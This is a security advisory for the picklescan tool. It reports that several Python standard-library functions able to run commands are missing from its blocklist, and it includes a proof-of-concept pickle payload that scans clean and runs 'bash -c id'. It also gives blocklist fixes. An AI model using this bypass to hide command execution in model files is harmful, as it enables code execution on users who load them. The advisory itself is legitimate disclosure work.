GHSA-g38g-8gr9-h9xp

Suggest an improvement
Source
https://github.com/advisories/GHSA-g38g-8gr9-h9xp
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-g38g-8gr9-h9xp/GHSA-g38g-8gr9-h9xp.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-g38g-8gr9-h9xp
Aliases
Published
2026-03-03T20:05:26Z
Modified
2026-07-08T08:26:40Z
Severity
  • 9.8 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
PickleScan has multiple stdlib modules with direct RCE not in blocklist
Details

Summary

picklescan v1.0.3 (latest) does not block at least 7 Python standard library modules that provide direct arbitrary command execution or code evaluation. A malicious pickle file importing these modules is reported as having 0 issues (CLEAN scan). This enables remote code execution that bypasses picklescan entirely.

Severity

Critical (CVSS 9.8) — Direct RCE with zero scanner detection. Affects all deployments relying on picklescan, including HuggingFace Hub.

Affected Versions

  • picklescan <= 1.0.3 (all versions including latest)

Details

Unblocked RCE Modules

Module Function RCE Mechanism picklescan Result
uuid _get_command_stdout(cmd, *args) subprocess.Popen((cmd,) + args) CLEAN
_osx_support _read_output(cmdstring) os.system() via temp file CLEAN
_osx_support _find_build_tool(toolname) Command injection via %s CLEAN
_aix_support _read_cmd_output(cmdstring) os.system() CLEAN
_pyrepl.pager pipe_pager(text, cmd) subprocess.Popen(cmd, shell=True) CLEAN
_pyrepl.pager tempfile_pager(text, cmd) os.system(cmd + ...) CLEAN
imaplib IMAP4_stream(command) subprocess.Popen(command, shell=True) CLEAN
test.support.script_helper assert_python_ok(*args) Spawns python subprocess CLEAN

All 8 functions are in Python's standard library and importable on all platforms.

Scanner Output

$ picklescan -p uuid_rce.pkl
No issues found.

$ picklescan -p aix_rce.pkl
No issues found.

$ picklescan -p imaplib_rce.pkl
No issues found.

Meanwhile:

$ python3 -c "import pickle; pickle.loads(open('uuid_rce.pkl','rb').read())"
uid=501(user) gid=20(staff) groups=20(staff),501(access),12(everyone)

Blocklist Analysis

picklescan v1.0.3's _unsafe_globals dict (scanner.py line 120-219) contains ~60 entries. None of the following modules appear:

  • uuid — not blocked
  • _osx_support — not blocked
  • _aix_support — not blocked
  • _pyrepl — not blocked
  • _pyrepl.pager — not blocked (parent wildcard doesn't apply since _pyrepl isn't blocked)
  • imaplib — not blocked
  • test — not blocked
  • test.support — not blocked
  • test.support.script_helper — not blocked

Proof of Concept

import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# uuid._get_command_stdout — arbitrary command execution
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 55)
    + sbu("uuid") + sbu("_get_command_stdout") + b"\x93"
    + sbu("bash") + sbu("-c") + sbu("id")
    + b"\x87" + b"R"   # TUPLE3 + REDUCE
    + b"."              # STOP
)

# Scan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN

# Execute: runs `id` command
pickle.loads(payload)

Tested Against

  • picklescan v1.0.3 (commit b999763, Feb 15 2026) — latest release
  • picklescan v0.0.21 — same result (modules never blocked in any version)

Impact

Any system using picklescan for pickle safety validation is vulnerable. This includes:

  • HuggingFace Hub — uses picklescan server-side to scan uploaded model files
  • ML pipelines — any CI/CD or loading pipeline using picklescan
  • Model registries — any registry relying on picklescan for safety checks

An attacker can upload a malicious model file to HuggingFace Hub that passes all picklescan checks and executes arbitrary code when loaded by a user.

Suggested Fix

Add to _unsafe_globals in picklescan:

"uuid": "*",
"_osx_support": "*",
"_aix_support": "*",
"_pyrepl": "*",
"imaplib": {"IMAP4_stream"},
"test": "*",

Architectural recommendation: The blocklist approach is fundamentally flawed — new RCE-capable stdlib functions can be discovered faster than they are blocked. Consider:

  1. Switching to an allowlist (default-deny) for permitted globals
  2. Treating ALL unknown globals as dangerous by default (currently marked "Suspicious" but not counted as issues)

Resources

  • picklescan source: scanner.py lines 120-219 (_unsafe_globals)
  • Python source: Lib/uuid.py, Lib/_osx_support.py, Lib/_aix_support.py, Lib/_pyrepl/pager.py, Lib/imaplib.py
Database specific
{
    "cwe_ids":  [
        "CWE-184",
        "CWE-693"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-03-03T20:05:26Z",
    "nvd_published_at":  null,
    "severity":  "CRITICAL"
}
References

Affected packages

PyPI / picklescan

Package

Name
picklescan
View open source insights on deps.dev
Purl
pkg:pypi/picklescan

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
1.0.4

Affected versions

0.*
0.0.1
0.0.2
0.0.3
0.0.4
0.0.5
0.0.6
0.0.7
0.0.8
0.0.9
0.0.10
0.0.11
0.0.12
0.0.13
0.0.14
0.0.15
0.0.16
0.0.17
0.0.18
0.0.19
0.0.20
0.0.21
0.0.22
0.0.23
0.0.24
0.0.25
0.0.26
0.0.27
0.0.28
0.0.29
0.0.30
0.0.31
0.0.32
0.0.33
0.0.34
0.0.35
1.*
1.0.0
1.0.1
1.0.2
1.0.3

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-g38g-8gr9-h9xp/GHSA-g38g-8gr9-h9xp.json"